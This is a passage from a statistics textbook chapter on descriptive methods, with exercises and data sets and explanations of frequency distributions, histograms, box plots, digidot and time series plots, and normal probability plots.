6-34. A semiconductor manufacturer produces devices used as central processing units in personal computers. The speed of the devices (in megahertz) is important because it determines the price that the manufacturer can charge for the devices. The following table contains measurements on 120 devices. Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, the sample standard deviation, and the sample median. What percentage of the devices has a speed exceeding 700 megahertz?

680	669	719	699	670	710	722	663	658	634	720	690
677	669	700	718	690	681	702	696	692	690	694	660
649	675	701	721	683	735	688	763	672	698	659	704
681	679	691	683	705	746	706	649	668	672	690	724
652	720	660	695	701	724	668	698	668	660	680	739
717	727	653	637	660	693	679	682	724	642	704	695
704	652	664	702	661	720	695	670	656	718	660	648
683	723	710	680	684	705	681	748	697	703	660	722
662	644	683	695	678	674	656	667	683	691	680	685
681	715	665	676	665	675	655	659	720	675	697	663

6-35. A group of wine enthusiasts taste-tested a pinot noir wine from Oregon. The evaluation was to grade the wine on a 0-to-100-point scale. The results follow. Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, the sample standard deviation, and the sample median. A wine rated above 90 is considered truly exceptional. What proportion of the taste-tasters considered this particular pinot noir truly exceptional?

94	90	92	91	91	86	89	91	91	90
90	93	87	90	91	92	89	86	89	90
88	95	91	88	89	92	87	89	95	92
85	91	85	89	88	84	85	90	90	83

6-36. In their book *Introduction to Linear Regression Analysis* (4th edition, Wiley, 2006), Montgomery, Peck, and Vining presented measurements on $NbOCl_3$ concentration from a tube-flow reactor experiment. The data, in gram-mole per liter $\times 10^{-3}$, are as follows. Construct a stem-and-leaf diagram for these data and comment on any important features that you notice. Compute the sample mean, the sample standard deviation, and the sample median.

450	450	473	507	457	452	453	1215	1256
1145	1085	1066	1111	1364	1254	1396	1575	1617
1733	2753	3186	3227	3469	1911	2588	2635	2725

6-37. In Exercise 6-30, we presented height data that was self-reported by female undergraduate engineering students in a core course at ASU. In the same class, the male students self-reported their heights as follows. Construct a comparative stem-and-leaf diagram by listing the stems in the center of the display and then placing the female leaves on the left and the male leaves on the right. Comment on any important features that you notice in this display.

69	67	69	70	65	68	69	70	71	69	66	67	69	75	68	67	68
69	70	71	72	68	69	69	70	71	68	72	69	69	68	69	73	70
73	68	69	71	67	68	65	68	68	69	70	74	71	69	70	69	

6-3 FREQUENCY DISTRIBUTIONS AND HISTOGRAMS

A **frequency distribution** is a more compact summary of data than a stem-and-leaf diagram. To construct a frequency distribution, we must divide the range of the data into intervals, which are usually called **class intervals, cells,** or **bins.** If possible, the bins should be

Table 6-4 Frequency Distribution for the Compressive Strength Data in Table 6-2

Class	$70 \le x < 90$	$90 \le x < 110$	$110 \le x < 130$	$130 \le x < 150$	$150 \le x < 170$	$170 \le x < 190$	$190 \le x < 210$	$210 \le x < 230$	$230 \le x < 250$
Frequency	2	3	6	14	22	17	10	4	2
Relative frequency	0.0250	0.0375	0.0750	0.1750	0.2750	0.2125	0.1250	0.0500	0.0250
Cumulative relative frequency	0.0250	0.0625	0.1375	0.3125	0.5875	0.8000	0.9250	0.9750	1.0000

of equal width in order to enhance the visual information in the frequency distribution. Some judgment must be used in selecting the number of bins so that a reasonable display can be developed. The number of bins depends on the number of observations and the amount of scatter or dispersion in the data. A frequency distribution that uses either too few or too many bins will not be informative. We usually find that between 5 and 20 bins is satisfactory in most cases and that the number of bins should increase with n. There are several sets of rules that can be used to determine the member of bins in a histogram. However, choosing the **number of bins** approximately equal to the square root of the number of observations often works well in practice.

A frequency distribution for the comprehensive strength data in Table 6-2 is shown in Table 6-4. Since the data set contains 80 observations, and since $\sqrt{80} \simeq 9$, we suspect that about eight to nine bins will provide a satisfactory frequency distribution. The largest and smallest data values are 245 and 76, respectively, so the bins must cover a range of at least $245 - 76 = 169$ units on the psi scale. If we want the lower limit for the first bin to begin slightly below the smallest data value and the upper limit for the last bin to be slightly above the largest data value, we might start the frequency distribution at 70 and end it at 250. This is an interval or range of 180 psi units. Nine bins, each of width 20 psi, give a reasonable frequency distribution, so the frequency distribution in Table 6-4 is based on nine bins.

The second row of Table 6-4 contains a **relative frequency distribution.** The relative frequencies are found by dividing the observed frequency in each bin by the total number of observations. The last row of Table 6-4 expresses the relative frequencies on a cumulative basis. Frequency distributions are often easier to interpret than tables of data. For example, from Table 6-4 it is very easy to see that most of the specimens have compressive strengths between 130 and 190 psi and that 97.5 percent of the specimens fail below 230 psi.

The **histogram** is a visual display of the frequency distribution. The steps for constructing a histogram follow.

Constructing a Histogram (Equal Bin Widths)

(1) Label the bin (class interval) boundaries on a horizontal scale.
(2) Mark and label the vertical scale with the frequencies or the relative frequencies.
(3) Above each bin, draw a rectangle where height is equal to the frequency (or relative frequency) corresponding to that bin.

Figure 6-7 is the histogram for the compression strength data. The histogram, like the **stem-and-leaf diagram,** provides a visual impression of the shape of the distribution of the measurements and information about the central tendency and scatter or dispersion in the data. Notice the symmetric, bell-shaped distribution of the strength measurements in Fig. 6-7. This display often gives insight about possible choices of probability distributions to use as a model

Figure 6-7 Histogram of compressive strength for 80 aluminum-lithium alloy specimens.

for the population. For example, here we would likely conclude that the normal distribution is a reasonable model for the population of compression strength measurements.

Sometimes a histogram with **unequal bin widths** will be employed. For example, if the data have several extreme observations or outliers, using a few equal-width bins will result in nearly all observations falling in just a few of the bins. Using many equal-width bins will result in many bins with zero frequency. A better choice is to use shorter intervals in the region where most of the data falls and a few wide intervals near the extreme observations. When the bins are of unequal width, the rectangle's **area** (not its height) should be proportional to the bin frequency. This implies that the rectangle height should be

$$\text{Rectangle height} = \frac{\text{bin frequency}}{\text{bin width}}$$

In passing from either the original data or stem-and-leaf diagram to a frequency distribution or histogram, we have lost some information because we no longer have the individual observations. However, this information loss is often small compared with the conciseness and ease of interpretation gained in using the frequency distribution and histogram.

Figure 6-8 shows a histogram of the compressive strength data from Minitab with 17 bins. We have noted that histograms may be relatively sensitive to the number of bins and their width. For small data sets, histograms may change dramatically in appearance if the number and/or width of the bins changes. Histograms are more stable for larger data sets, preferably of size 75 to 100 or more. Figure 6-9 shows the Minitab histogram for the compressive strength

Figure 6-8 A histogram of the compressive strength data from Minitab with 17 bins.

Figure 6-9 A histogram of the compressive strength data from Minitab with nine bins.

Figure 6-10 A cumulative distribution plot of the compressive strength data from Minitab.

data with nine bins. This used Minitab's default setting and the result is similar to the original histogram shown in Fig. 6-7. Since the number of observations is moderately large ($n = 80$), the choice of the number of bins is not especially important, and both Figs. 6-8 and 6-9 convey similar information.

Figure 6-10 shows a variation of the histogram available in Minitab, the **cumulative frequency plot.** In this plot, the height of each bar is the total number of observations that are less than or equal to the upper limit of the bin. Cumulative distributions are also useful in data interpretation; for example, we can read directly from Fig. 6-10 that there are approximately 70 observations less than or equal to 200 psi.

When the sample size is large, the histogram can provide a reasonably reliable indicator of the general **shape** of the distribution or population of measurements from which the sample was drawn. Figure 6-11 presents three cases. The median is denoted as $\tilde{x}$. Generally, if the data are symmetric, as in Fig. 6-11(b), the mean and median coincide. If, in addition, the data have only one mode (we say the data are *unimodal*), the mean, median, and mode all coincide. If the data are *skewed* (asymmetric, with a long tail to one side), as in Fig. 6-11(a) and (c), the mean, median, and mode do not coincide. Usually, we find that mode $<$ median $<$ mean if the distribution is skewed to the right, whereas mode $>$ median $>$ mean if the distribution is skewed to the left.

Frequency distributions and histograms can also be used with qualitative or categorical data. In some applications there will be a natural ordering of the categories (such as freshman, sophomore, junior, and senior), whereas in others the order of the categories will be arbitrary (such as male and female). When using categorical data, the bins should have equal width.

EXAMPLE 6-6

Figure 6-12 on the next page presents the production of transport aircraft by the Boeing Company in 1985. Notice that the 737 was the most popular model, followed by the 757, 747, 767, and 707.

Figure 6-11 Histograms for symmetric and skewed distributions.

Figure 6-12
Airplane production in 1985. (*Source:* Boeing Company.)

A chart of occurrences by category (in which the categories are ordered by the number of occurrences) is sometimes referred to as a **Pareto chart.** An exercise asks you to construct such a chart.

In this section we have concentrated on descriptive methods for the situation in which each observation in a data set is a single number or belongs to one category. In many cases, we work with data in which each observation consists of several measurements. For example, in a gasoline mileage study, each observation might consist of a measurement of miles per gallon, the size of the engine in the vehicle, engine horsepower, vehicle weight, and vehicle length. This is an example of **multivariate data.** In later chapters, we will discuss analyzing this type of data.

EXERCISES FOR SECTION 6-3

6-38. Construct a frequency distribution and histogram for the motor fuel octane data from Exercise 6-22. Use eight bins.

6-39. Construct a frequency distribution and histogram using the failure data from Exercise 6-23.

6-40. Construct a frequency distribution and histogram for the cotton content data in Exercise 6-24.

6-41. Construct a frequency distribution and histogram for the yield data in Exercise 6-25.

6-42. Construct frequency distributions and histograms with 8 bins and 16 bins for the motor fuel octane data in Exercise 6-22. Compare the histograms. Do both histograms display similar information?

6-43. Construct histograms with 8 and 16 bins for the data in Exercise 6-23. Compare the histograms. Do both histograms display similar information?

6-44. Construct histograms with 8 and 16 bins for the data in Exercise 6-24. Compare the histograms. Do both histograms display similar information?

6-45. Construct a histogram for the energy consumption data in Exercise 6-29.

6-46. Construct a histogram for the female student height data in Exercise 6-30.

6-47. Construct a histogram for the spot weld shear strength data in Exercise 6-31. Comment on the shape of the histogram. Does it convey the same information as the stem-and-leaf display?

6-48. Construct a histogram for the water quality data in Exercise 6-32. Comment on the shape of the histogram. Does it convey the same information as the stem-and-leaf display?

6-49. Construct a histogram for the overall golf distance data in Exercise 6-33. Comment on the shape of the histogram. Does it convey the same information as the stem-and-leaf display?

6-50. Construct a histogram for the semiconductor speed data in Exercise 6-34. Comment on the shape of the histogram. Does it convey the same information as the stem-and-leaf display?

6-51. Construct a histogram for the pinot noir wine rating data in Exercise 6-35. Comment on the shape of the histogram. Does it convey the same information as the stem-and-leaf display?

6-52. **The Pareto Chart.** An important variation of a histogram for categorical data is the Pareto chart. This chart is widely used in quality improvement efforts, and the categories usually represent different types of defects, failure modes, or product/process problems. The categories are ordered so that the category with the largest frequency is on the left, followed by the category with the second largest frequency, and so forth. These charts are named after the Italian economist V. Pareto, and they usually exhibit "Pareto's law"; that is, most of the defects can be accounted for by only a few categories. Suppose that the following information on structural defects in automobile doors is obtained: dents, 4; pits, 4; parts assembled out of sequence, 6; parts undertrimmed, 21; missing holes/slots, 8; parts not lubricated, 5; parts out of contour, 30; and parts not deburred, 3. Construct and interpret a Pareto chart.

Figure 6-13 Description of a box plot.

6-4 BOX PLOTS

The stem-and-leaf display and the histogram provide general visual impressions about a data set, while numerical quantities such as $\bar{x}$ or s provide information about only one feature of the data. The **box plot** is a graphical display that simultaneously describes several important features of a data set, such as center, spread, departure from symmetry, and identification of unusual observations or outliers.

A box plot displays the three quartiles, the minimum, and the maximum of the data on a rectangular box, aligned either horizontally or vertically. The box encloses the interquartile range with the left (or lower) edge at the first quartile, q_1, and the right (or upper) edge at the third quartile, q_3. A line is drawn through the box at the second quartile (which is the 50th percentile or the median), $q_2 = \bar{x}$. A line, or **whisker,** extends from each end of the box. The lower whisker is a line from the first quartile to the smallest data point within 1.5 interquartile ranges from the first quartile. The upper whisker is a line from the third quartile to the largest data point within 1.5 interquartile ranges from the third quartile. Data farther from the box than the whiskers are plotted as individual points. A point beyond a whisker, but less than three interquartile ranges from the box edge, is called an **outlier.** A point more than three interquartile ranges from the box edge is called an **extreme outlier.** See Fig. 6-13. Occasionally, different symbols, such as open and filled circles, are used to identify the two types of outliers. Sometimes box plots are called *box-and-whisker plots*.

Figure 6-14 presents the box plot from Minitab for the alloy compressive strength data shown in Table 6-2. This box plot indicates that the distribution of compressive strengths is fairly symmetric around the central value, because the left and right whiskers and the lengths of the left and right boxes around the median are about the same. There are also two mild outliers at lower strength and one at higher strength. The upper whisker extends to observation 237 because it is the greatest observation below the limit for upper outliers. This limit is $q_3 + 1.5\text{IQR} = 181 + 1.5(181 - 143.5) = 237.25$. The lower whisker extends to observation 97

Figure 6-14 Box plot for compressive strength data in Table 6-2.

Figure 6-15
Comparative box plots of a quality index at three plants.

because it is the smallest observation above the limit for lower outliers. This limit is $q_1 - 1.5\text{IQR} = 143.5 - 1.5(181 - 143.5) = 87.25$.

Box plots are very useful in graphical comparisons among data sets, because they have high visual impact and are easy to understand. For example, Fig. 6-15 shows the comparative box plots for a manufacturing quality index on semiconductor devices at three manufacturing plants. Inspection of this display reveals that there is too much variability at plant 2 and that plants 2 and 3 need to raise their quality index performance.

EXERCISES FOR SECTION 6-4

6-53. The "cold start ignition time" of an automobile engine is being investigated by a gasoline manufacturer. The following times (in seconds) were obtained for a test vehicle: 1.75, 1.92, 2.62, 2.35, 3.09, 3.15, 2.53, 1.91.

(a) Calculate the sample mean, sample variance, and sample standard deviation.

(b) Construct a box plot of the data.

6-54. An article in *Transactions of the Institution of Chemical Engineers* (Vol. 34, 1956, pp. 280–293) reported data from an experiment investigating the effect of several process variables on the vapor phase oxidation of naphthalene. A sample of the percentage mole conversion of naphthalene to maleic anhydride follows: 4.2, 4.7, 4.7, 5.0, 3.8, 3.6, 3.0, 5.1, 3.1, 3.8, 4.8, 4.0, 5.2, 4.3, 2.8, 2.0, 2.8, 3.3, 4.8, 5.0.

(a) Calculate the sample mean, sample variance, and sample standard deviation.

(b) Construct a box plot of the data.

6-55. The nine measurements that follow are furnace temperatures recorded on successive batches in a semiconductor manufacturing process (units are °F): 953, 950, 948, 955, 951, 949, 957, 954, 955.

(a) Calculate the sample mean, sample variance, and standard deviation.

(b) Find the median. How much could the largest temperature measurement increase without changing the median value?

(c) Construct a box plot of the data.

6-56. Exercise 6-18 presents drag coefficients for the NASA 0012 airfoil. You were asked to calculate the sample mean, sample variance, and sample standard deviation of those coefficients.

(a) Find the median and the upper and lower quartiles of the drag coefficients.

(b) Construct a box plot of the data.

(c) Set aside the largest observation (100) and rework parts (a) and (b). Comment on your findings.

6-57. Exercise 6-19 presented the joint temperatures of the O-rings (°F) for each test firing or actual launch of the space shuttle rocket motor. In that exercise you were asked to find the sample mean and sample standard deviation of temperature.

(a) Find the median and the upper and lower quartiles of temperature.

(b) Set aside the smallest observation (31°F) and recompute the quantities in part (a). Comment on your findings. How "different" are the other temperatures from this smallest value?

(c) Construct a box plot of the data and comment on the possible presence of outliers.

6-58. Reconsider the motor fuel octane rating data in Exercise 6-20. Construct a box plot of the data and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-59. Reconsider the energy consumption data in Exercise 6-29. Construct a box plot of the data and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-60. Reconsider the water quality data in Exercise 6-32. Construct a box plot of the concentrations and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-61. Reconsider the weld strength data in Exercise 6-31. Construct a box plot of the data and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-62. Reconsider the semiconductor speed data in Exercise 6-34. Construct a box plot of the data and write an interpretation of the plot. How does the box plot compare in interpretive value to the original stem-and-leaf diagram?

6-63. Use the data on heights of female and male engineering students from Exercises 6-30 and 6-37 to construct comparative box plots. Write an interpretation of the information that you see in these plots.

6-64. In Exercise 6-53, data were presented on the cold start ignition time of a particular gasoline used in a test vehicle. A second formulation of the gasoline was tested in the same vehicle, with the following times (in seconds): 1.83, 1.99, 3.13, 3.29, 2.65, 2.87, 3.40, 2.46, 1.89, and 3.35. Use these new data along with the cold start times reported in Exercise 6-53 to construct comparative box plots. Write an interpretation of the information that you see in these plots.

6-65. An article in *Nature Genetics* ["Treatment-specific Changes in Gene Expression Discriminate in Vivo Drug Response In Human Leukemia Cells" (2003, Vol. 34(1), pp. 85–90)] studied gene expression as a function of treatments for leukemia. One group received a high dose of the drug while the control group received no treatment. Expression data (measures of gene activity) from one gene are shown in the following table. Construct a box plot for each group of patients. Write an interpretation to compare the information in these plots.

Gene Expression

High Dose	Control	Control	Control
16.1	297.1	820.1	166.5
134.9	491.8	82.5	2258.4
52.7	1332.9	713.9	497.5
14.4	1172	785.6	263.4
124.3	1482.7	114	252.3
99	335.4	31.9	351.4
24.3	528.9	86.3	678.9
16.3	24.1	646.6	3010.2
15.2	545.2	169.9	67.1
47.7	92.9	20.2	318.2
12.9	337.1	280.2	2476.4
72.7	102.3	194.2	181.4
126.7	255.1	408.4	2081.5
46.4	100.5	155.5	424.3
60.3	159.9	864.6	188.1
23.5	168	355.4	563
43.6	95.2	634	149.1
79.4	132.5	2029.9	2122.9
38	442.6	362.1	1295.9
58.2	15.8		
26.5	175.6		
25.1	131.1		

6-5 TIME SEQUENCE PLOTS

The graphical displays that we have considered thus far such as histograms, stem-and-leaf plots, and box plots are very useful visual methods for showing the variability in data. However, we noted in Chapter 1 that time is an important factor that contributes to variability in data, and those graphical methods do not take this into account. A **time series** or **time sequence** is a data set in which the observations are recorded in the order in which they occur. A **time series plot** is a graph in which the vertical axis denotes the observed value of the variable (say, x) and the horizontal axis denotes the time (which could be minutes, days, years, etc.). When measurements are plotted as a time series, we often see trends, cycles, or other broad features of the data that could not be seen otherwise.

For example, consider Fig. 6-16(a), which presents a time series plot of the annual sales of a company for the last 10 years. The general impression from this display is that sales show an upward **trend.** There is some variability about this trend, with some years' sales increasing over those of the last year and some years' sales decreasing. Figure 6-16(b) shows the last three years of sales reported by quarter. This plot clearly shows that the annual sales in this

Figure 6-16 Company sales by year (*a*) and by quarter (*b*).

business exhibit a **cyclic** variability by quarter, with the first- and second-quarter sales being generally greater than sales during the third and fourth quarters.

Sometimes it can be very helpful to combine a time series plot with some of the other graphical displays that we have considered previously. J. Stuart Hunter (*The American Statistician*, Vol. 42, 1988, p. 54) has suggested combining the stem-and-leaf plot with a time series plot to form a **digidot plot.**

Figure 6-17 shows a digidot plot for the observations on compressive strength from Table 6-2, assuming that these observations are recorded in the order in which they occurred. This plot effectively displays the overall variability in the compressive strength data and simultaneously shows the variability in these measurements over time. The general impression is that compressive strength varies around the mean value of 162.66, and there is no strong obvious pattern in this variability over time.

Figure 6-17 A digidot plot of the compressive strength data in Table 6-2.

Leaf	Stem
8	9e
6	9s
45	9f
2333	9t
0010000	9z
99998	8e
66677	8s
45	8f
23	8t
1	8z

Time series plot

Figure 6-18 A digidot plot of chemical process concentration readings, observed hourly.

The digidot plot in Fig. 6-18 tells a different story. This plot summarizes 30 observations on concentration of the output product from a chemical process, where the observations are recorded at one-hour time intervals. This plot indicates that during the first 20 hours of operation this process produced concentrations generally above 85 grams per liter, but that following sample 20, something may have occurred in the process that resulted in lower concentrations. If this variability in output product concentration can be reduced, operation of this process can be improved. Notice that this apparent change in the process output is not seen in the stem-and-leaf portion of the digidot plot. The stem-and-leaf plot compresses the time dimension out of the data. This illustrates why it is always important to construct a time series plot for time-oriented data.

EXERCISES FOR SECTION 6-5

6-66. The following data are the viscosity measurements for a chemical product observed hourly (read down, then left to right). Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot of these data. Specifications on product viscosity are at 48 ± 2. What conclusions can you make about process performance?

47.9	48.6	48.0	48.1	43.0	43.2
47.9	48.8	47.5	48.0	42.9	43.6
48.6	48.1	48.6	48.3	43.6	43.2
48.0	48.3	48.0	43.2	43.3	43.5
48.4	47.2	47.9	43.0	43.0	43.0
48.1	48.9	48.3	43.5	42.8	
48.0	48.6	48.5	43.1	43.1	

6-67. The pull-off force for a connector is measured in a laboratory test. Data for 40 test specimens follow (read down, then left to right). Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot of the data.

241	203	201	251	236	190
258	195	195	238	245	175
237	249	255	210	209	178
210	220	245	198	212	175
194	194	235	199	185	190
225	245	220	183	187	
248	209	249	213	218	

6-68. In their book *Time Series Analysis, Forecasting, and Control* (Prentice Hall, 1994), G. E. P. Box, G. M. Jenkins, and G. C. Reinsel present chemical process concentration readings made every two hours. Some of these data follow (read down, then left to right).

17.0	16.7	17.1	17.5	17.6
16.6	17.4	17.4	18.1	17.5
16.3	17.2	17.4	17.5	16.5
16.1	17.4	17.5	17.4	17.8
17.1	17.4	17.4	17.4	17.3
16.9	17.0	17.6	17.1	17.3
16.8	17.3	17.4	17.6	17.1
17.4	17.2	17.3	17.7	17.4
17.1	17.4	17.0	17.4	16.9
17.0	16.8	17.8	17.8	17.3

Construct and interpret either a digidot plot or a stem-and-leaf plot of these data.

6-69. The 100 annual Wolfer sunspot numbers from 1770 to 1869 follow. (For an interesting analysis and interpretation of these numbers, see the book by Box, Jenkins, and Reinsel referenced in Exercise 6-68. Their analysis requires some advanced knowledge of statistics and statistical model building.) Read down, then left to right. The 1869 result is 74. Construct and interpret either a digidot plot or a stem-and-leaf and time series plot of these data.

101	31	154	38	83	90
82	7	125	23	132	67
66	20	85	10	131	60
35	92	68	24	118	47
41	10	16	8	62	94
21	8	7	13	98	96
16	2	4	57	124	77
6	0	2	122	96	59
4	1	8	138	66	44
7	5	17	103	64	47
14	12	36	86	54	30
34	14	50	63	39	16
45	35	62	37	21	7
43	46	67	24	7	37
48	41	71	11	4	74
42	30	48	15	23	
28	24	28	40	55	

6-70. In their book *Introduction to Time Series Analysis and Forecasting*, (Wiley, 2008), Montgomery, Jennings, and Kolahci presented the data in Table 6-5, which are the monthly total passenger airline miles flown in the United Kingdom from 1964 to 1970 (in millions of miles). Comment on any features of the data that are apparent. Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot of these data.

6-71. The following table shows the number of earthquakes per year of magnitude 7.0 and greater since 1900 (source: Earthquake Data Base System of the U.S. Geological Survey, National Earthquake Information Center, Golden, Colorado).

1900	13	1904	16	1908	18	1912	22
1901	14	1905	26	1909	32	1913	23
1902	8	1906	32	1910	36	1914	22
1903	10	1907	27	1911	24	1915	18
1916	25	1942	27	1968	30	1994	13
1917	21	1943	41	1969	27	1995	20
1918	21	1944	31	1970	29	1996	15
1919	14	1945	27	1971	23	1997	16
1920	8	1946	35	1972	20	1998	12
1921	11	1947	26	1973	16	1999	18
1922	14	1948	28	1974	21	2000	15
1923	23	1949	36	1975	21	2001	16
1924	18	1950	39	1976	25	2002	13
1925	17	1951	21	1977	16	2003	15
1926	19	1952	17	1978	18	2004	16
1927	20	1953	22	1979	15	2005	11
1928	22	1954	17	1980	18	2006	11
1929	19	1955	19	1981	14	2007	18
1930	13	1956	15	1982	10	2008	12
1931	26	1957	34	1983	15	2009	15
1932	13	1958	10	1984	8		
1933	14	1959	15	1985	15		
1934	22	1960	22	1986	6		
1935	24	1961	18	1987	11		
1936	21	1962	15	1988	8		
1937	22	1963	20	1989	7		
1938	26	1964	15	1990	18		
1939	21	1965	22	1991	16		
1940	23	1966	19	1992	13		
1941	24	1967	16	1993	12		

Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot of these data.

6-72. The following table shows U.S. petroleum imports, imports as a percentage of total, and Persian Gulf imports as a percentage of all imports by year since 1973 (source: U.S. Department of Energy Web site, http://www.eia.doe.gov/). Construct and interpret either a digidot plot or a separate stem-and-leaf and time series plot for each column of data.

Table 6-5 United Kingdom Passenger Airline Miles Flown

Month	1964	1965	1966	1967	1968	1969	1970
Jan.	7.269	8.350	8.186	8.334	8.639	9.491	10.840
Feb.	6.775	7.829	7.444	7.899	8.772	8.919	10.436
Mar.	7.819	8.829	8.484	9.994	10.894	11.607	13.589
Apr.	8.371	9.948	9.864	10.078	10.455	8.852	13.402
May	9.069	10.638	10.252	10.801	11.179	12.537	13.103
June	10.248	11.253	12.282	12.953	10.588	14.759	14.933
July	11.030	11.424	11.637	12.222	10.794	13.667	14.147
Aug.	10.882	11.391	11.577	12.246	12.770	13.731	14.057
Sept.	10.333	10.665	12.417	13.281	13.812	15.110	16.234
Oct.	9.109	9.396	9.637	10.366	10.857	12.185	12.389
Nov.	7.685	7.775	8.094	8.730	9.290	10.645	11.594
Dec.	7.682	7.933	9.280	9.614	10.925	12.161	12.772

Year	Petroleum Imports (thousand barrels per day)	Total Petroleum Imports as Percent of Petroleum Products Supplied	Petroleum Imports from Persian Gulf as Percent of Total Petroleum Imports
1973	6256	36.1	13.5
1974	6112	36.7	17.0
1975	6055	37.1	19.2
1976	7313	41.8	25.1
1977	8807	47.7	27.8
1978	8363	44.3	26.5
1979	8456	45.6	24.4
1980	6909	40.5	21.9
1981	5996	37.3	20.3
1982	5113	33.4	13.6
1983	5051	33.1	8.7
1984	5437	34.5	9.3
1985	5067	32.2	6.1
1986	6224	38.2	14.6
1987	6678	40.0	16.1
1988	7402	42.8	20.8
1989	8061	46.5	23.0
1990	8018	47.1	24.5
1991	7627	45.6	24.1
1992	7888	46.3	22.5
1993	8620	50.0	20.6
1994	8996	50.7	19.2
1995	8835	49.8	17.8
1996	9478	51.7	16.9
1997	10,162	54.5	17.2
1998	10,708	56.6	19.9
1999	10,852	55.5	22.7
2000	11,459	58.1	21.7
2001	11,871	60.4	23.2
2002	11,530	58.3	19.6
2003	12,264	61.2	20.3
2004	13,145	63.4	18.9
2005	13,714	65.9	17.0
2006	13,707	66.3	16.1
2007	13,468	65.1	16.1
2008	12,915	66.2	18.4

6-6 PROBABILITY PLOTS

How do we know if a particular probability distribution is a reasonable model for data? Sometimes this is an important question, because many of the statistical techniques presented in subsequent chapters are based on an assumption that the population distribution is of a specific type. Thus, we can think of determining whether data come from a specific probability distribution as **verifying assumptions.** In other cases, the form of the distribution can give insight into the underlying physical mechanism generating the data. For example, in reliability engineering, verifying that time-to-failure data come from an exponential distribution identifies the **failure mechanism** in the sense that the failure rate is constant with respect to time.

Some of the visual displays we have used earlier, such as the histogram, can provide insight about the form of the underlying distribution. However, histograms are usually not really reliable indicators of the distribution form unless the sample size is very large. A **probability plot** is a graphical method for determining whether sample data conform to a hypothesized distribution based on a subjective visual examination of the data. The general procedure is very simple and can be performed quickly. It is also more reliable than the histogram for small- to moderate-size samples. Probability plotting typically uses special axes that have been scaled for the hypothesized distribution. Software is widely available for the normal, lognormal, Weibull, and various chi-square and gamma distributions. We focus primarily on normal probability plots because many statistical techniques are appropriate only when the population is (at least approximately) normal.

To construct a probability plot, the observations in the sample are first ranked from smallest to largest. That is, the sample $x_1, x_2, \ldots, x_n$ is arranged as $x_{(1)}, x_{(2)}, \ldots, x_{(n)}$, where $x_{(1)}$ is the smallest observation, $x_{(2)}$ is the second-smallest observation, and so forth, with $x_{(n)}$ the largest. The ordered observations $x_{(j)}$ are then plotted against their observed cumulative frequency $(j - 0.5)/n$ on the appropriate probability paper. If the hypothesized distribution adequately describes the data, the plotted points will fall approximately along a straight line; if the plotted points deviate significantly from a straight line, the hypothesized model is not appropriate. Usually, the determination of whether or not the data plot as a straight line is subjective. The procedure is illustrated in the following example.

EXAMPLE 6-7 **Battery Life**

Ten observations on the effective service life in minutes of batteries used in a portable personal computer are as follows: 176, 191, 214, 220, 205, 192, 201, 190, 183, 185. We hypothesize that battery life is adequately modeled by a normal distribution. To use probability plotting to investigate this hypothesis, first arrange the observations in ascending order and calculate their cumulative frequencies $(j - 0.5)/10$ as shown in Table 6-6.

The pairs of values $x_{(j)}$ and $(j - 0.5)/10$ are now plotted on normal probability axes. This plot is shown in Fig. 6-19. Most normal probability plots have $100(j - 0.5)/n$ on the left vertical scale and (sometimes) $100[1 - (j - 0.5)/n]$ on the right vertical scale, with the variable value plotted on the horizontal scale. A straight line, chosen subjectively, has been drawn through the plotted points. In drawing the straight line, you should be influenced more by the points near the middle of the plot than by the extreme points. A good rule of thumb is to draw the line approximately between the 25th and 75th percentile points. This is how the line in Fig. 6-19 was determined. In assessing the "closeness" of the points to the straight line,

Table 6-6 Calculation for Constructing a Normal Probability Plot

j	$x_{(j)}$	$(j - 0.5)/10$	z_j
1	176	0.05	−1.64
2	183	0.15	−1.04
3	185	0.25	−0.67
4	190	0.35	−0.39
5	191	0.45	−0.13
6	192	0.55	0.13
7	201	0.65	0.39
8	205	0.75	0.67
9	214	0.85	1.04
10	220	0.95	1.64

Figure 6-19 Normal probability plot for battery life.

Figure 6-20 Normal probability plot obtained from standardized normal scores.

imagine a "fat pencil" lying along the line. If all the points are covered by this imaginary pencil, a normal distribution adequately describes the data. Since the points in Fig. 6-19 would pass the "fat pencil" test, we conclude that the normal distribution is an appropriate model.

A **normal probability plot** can also be constructed on ordinary axes by plotting the standardized normal scores z_j against $x_{(j)}$, where the standardized normal scores satisfy

$$\frac{j - 0.5}{n} = P(Z \le z_j) = \Phi(z_j)$$

For example, if $(j - 0.5)/n = 0.05$, $\Phi(z_j) = 0.05$ implies that $z_j = -1.64$. To illustrate, consider the data from Example 6-4. In the last column of Table 6-6 we show the standardized normal scores. Figure 6-20 presents the plot of z_j versus $x_{(j)}$. This normal probability plot is equivalent to the one in Fig. 6-19.

We have constructed our probability plots with the probability scale (or the z-scale) on the vertical axis. Some computer packages "flip" the axis and put the probability scale on the horizontal axis.

The normal probability plot can be useful in identifying distributions that are symmetric but that have tails that are "heavier" or "lighter" than the normal. They can also be useful in identifying skewed distributions. When a sample is selected from a light-tailed distribution (such as the uniform distribution), the smallest and largest observations will not be as extreme as would be expected in a sample from a normal distribution. Thus, if we consider the straight line drawn through the observations at the center of the normal probability plot, observations on the left side will tend to fall below the line, whereas observations on the right side will tend to fall above the line. This will produce an S-shaped normal probability plot such as shown in Fig. 6-21(a). A heavy-tailed distribution will result in data that also produce an S-shaped normal probability plot, but now the observations on the left will be above the straight line and the observations on the right will lie below the line. See Fig. 6-19(b). A positively skewed distribution will tend to produce a pattern such as shown in Fig. 6-19(c), where points on both ends of the plot tend to fall below the line, giving a curved shape to the plot. This occurs because both the smallest and the largest observations from this type of distribution are larger than expected in a sample from a normal distribution.

Even when the underlying population is exactly normal, the sample data will not plot exactly on a straight line. Some judgment and experience are required to evaluate the plot. Generally, if the sample size is $n < 30$, there can be a lot of deviation from linearity in normal

Figure 6-21 Normal probability plots indicating a nonnormal distribution. (a) Light-tailed distribution. (b) Heavy-tailed distribution. (c) A distribution with positive (or right) skew.

